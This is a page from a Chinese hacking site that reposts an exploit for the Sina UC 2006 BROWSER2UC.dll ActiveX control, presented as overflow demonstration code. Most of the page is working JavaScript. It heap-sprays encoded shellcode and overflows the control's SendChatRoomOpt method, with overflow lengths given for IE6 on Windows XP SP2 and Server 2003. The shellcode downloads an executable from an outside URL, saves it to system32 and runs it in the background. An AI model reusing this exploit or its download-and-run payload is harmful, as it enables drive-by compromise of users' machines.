黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 文章正文
[推荐]新浪UC 2006 BROWSER2UC.dll溢出演示代码
        ★★★★★
新浪UC 2006 BROWSER2UC.dll溢出演示代码
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-1-12

作者:云舒
原帖:http://www.ph4nt0m.org/bbs/showthread.php?s=&threadid=36179 

今天和LuoLuo测试了下,写成了这个测试代码。网页会下载我blog的http://icylife.net/1.exe,这个是记事本,下载到system32保存为~.exe并后台运行。生成器晚上再写哈,朕饿了。 这个我们测试了 <!-- Windows2003 standard SP1 + IE6 此处覆盖长度i为3193 --> <!-- Windows XP SP2 + IE6 此处覆盖长度i为3133 --> 不过IE7还不能利用,晚上再加通过JS判断系统类型的部分,这样就不用修改i的值了,现在针对系统需要修改。

 view plaincopy to clipboardprint?
<!--       
  
1. clsid:77AE4780-75E0-4CB0-A162-D1BBE3D50384    
C:Program FilessinaUCActiveXBROWSER2UC.dll    
  
Sub SendChatRoomOpt (    
      ByVal astrVerion   As String ,    
      ByVal astrUserID   As String ,    
      ByVal asDataType   As Integer ,    
      ByVal alTypeID   As Long    
)    
  
Code By 云舒 & LuoLuo    
!   -->    
  
<html>    
<head>    
<script language="javascript">    
      var heapSprayToAddress = 0x0c0c0c0c;    
      var shellcode = unescape("%u9090"+"%u9090"+    
"%u6460%u30a1%u0000%u8b00%u0c40%u708b%uad1c%u708b" +    
"%u8108%u00ec%u0004%u8b00%u56ec%u8e68%u0e4e%ue8ec" +    
"%u00ff%u0000%u4589%u5604%u9868%u8afe%ue80e%u00f1" +    
"%u0000%u4589%u5608%u2568%uffb0%ue8c2%u00e3%u0000" +    
"%u4589%u560c%uef68%ue0ce%ue860%u00d5%u0000%u4589" +    
"%u5610%uc168%ue579%ue8b8%u00c7%u0000%u4589%u4014" +    
"%u3880%u75c3%u89fa%u1845%u08e9%u0001%u5e00%u7589" +    
"%u8b24%u0445%u016a%u8b59%u1855%ue856%u008c%u0000" +    
"%u6850%u1a36%u702f%u98e8%u0000%u8900%u1c45%uc58b" +    
"%uc083%u8950%u2045%uff68%u0000%u5000%u458b%u6a14" +    
"%u5902%u558b%ue818%u0062%u0000%u4503%uc720%u5c00" +    
"%u2e7e%uc765%u0440%u6578%u0000%u75ff%u8b20%u0c45" +    
"%u016a%u8b59%u1855%u41e8%u0000%u6a00%u5807%u4503" +    
"%u3324%u53db%uff53%u2075%u5350%u458b%u6a1c%u5905" +    
"%u558b%ue818%u0024%u0000%u006a%u75ff%u8b20%u0845" +    
"%u026a%u8b59%u1855%u11e8%u0000%u8100%u00c4%u0004" +    
"%u6100%uc481%u04dc%u0000%uc25d%u0024%u5b41%u0352" +    
"%u03e1%u03e1%u03e1%u83e1%u04ec%u535a%uda8b%uf7e2" +    
"%uff52%u55e0%uec8b%u7d8b%u8b08%u0c5d%u8b56%u3c73" +    
"%u748b%u781e%uf303%u8b56%u2076%uf303%uc933%u4149" +    
"%u03ad%u56c3%uf633%ube0f%u3a10%u74f2%uc108%u0dce" +    
"%uf203%ueb40%u3bf1%u5efe%ue575%u8b5a%u8beb%u245a" +    
"%udd03%u8b66%u4b0c%u5a8b%u031c%u8bdd%u8b04%uc503" +    
"%u5d5e%u08c2%ue800%ufef3%uffff%u5255%u4d4c%u4e4f" +    
"%u6800%u7474%u3a70%u2f2f%u6369%u6c79%u6669%u2e65" +    
"%u656e%u2f74%u2e31%u7865%u0065");    
  
var heapBlockSize = 0x100000;    
var payLoadSize = shellcode.length * 2;    
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);    
var spraySlide = unescape("%u9090%u9090");    
spraySlide = getSpraySlide(spraySlide,spraySlideSize);    
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;    
memory = new Array();    
  
for (i=0;i<heapBlocks;i++)    
{    
      memory[i] = spraySlide + shellcode;    
}    
function getSpraySlide(spraySlide, spraySlideSize)    
{    
      while (spraySlide.length*2<spraySlideSize)    
      {    
            spraySlide += spraySlide;    
      }    
      spraySlidespraySlide = spraySlide.substring(0,spraySlideSize/2);    
      return spraySlide;    
}    
  
var obj = new ActiveXObject("BROWSER2UC.BROWSERToUC");    
var arg1;    
  
<!-- Windows2003 standard SP1 + IE6 此处覆盖长度i为3193 -->    
<!-- Windows XP SP2 + IE6 此处覆盖长度i为3133 -->    
for( var i = 0; i < 3133; i ++ )    
{    
      arg1 += "A";    
}    
  
arg1arg1=arg1 + unescape("%0c%0c%0c%0c");    
arg2="defaultV";    
arg3=1;    
arg4=1;    
obj.SendChatRoomOpt(arg1 ,arg2 ,arg3 ,arg4);    
</script>    
</head>    
</html> 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886